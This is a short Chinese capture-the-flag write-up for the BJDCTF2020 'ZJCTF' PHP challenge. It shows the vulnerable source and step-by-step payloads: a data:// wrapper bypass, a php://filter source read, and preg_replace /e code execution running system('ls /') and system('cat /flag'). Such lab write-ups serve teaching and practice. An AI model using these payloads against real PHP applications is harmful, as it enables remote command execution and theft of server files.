[BJDCTF2020]ZJCTF，不过如此

原理

关于preg_replace \e的代码执行
双引号和单引号的区别
可变变量

解题过程

代码审计

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

绕过file_get_contents($text,'r')==="I have a dream"的payload:text=data:text/plain,I have a dream
接着读取next.php内容的payload:file=php://filter/read=convert.base64-encode/resource=next.php

拿到源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里涉及preg_replace的代码执行
payload为
next.php?id=aa&\S=${getFlag()}&cmd=system("ls /");
next.php?id=aa&\S=${getFlag()}&cmd=system("cat /flag");
参考文章：https://blog.csdn.net/m0_64815693/article/details/130327529
https://www.php.net/manual/zh/language.variables.variable.php
https://xz.aliyun.com/t/2557